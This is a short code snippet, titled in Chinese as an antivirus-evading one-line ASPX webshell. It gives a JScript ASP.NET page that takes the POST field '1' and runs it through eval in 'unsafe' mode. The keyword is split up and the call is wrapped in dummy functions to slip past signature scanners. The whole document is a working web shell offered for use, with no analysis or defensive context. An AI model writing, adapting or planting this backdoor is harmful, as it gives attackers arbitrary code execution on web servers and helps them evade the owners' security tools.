aspx的免杀一句话

<%@ Page Language="Jscript" Debug=true%>
<%
var SE=Request.Form["1"];
var SMQ="unsa",FWJVPDC="fe",PZEGHR=SMQ+FWJVPDC;
function AJHB()
{
return SE;
}
function NCBRJ()
{
    eval(AJHB(),PZEGHR);
}
NCBRJ()
%>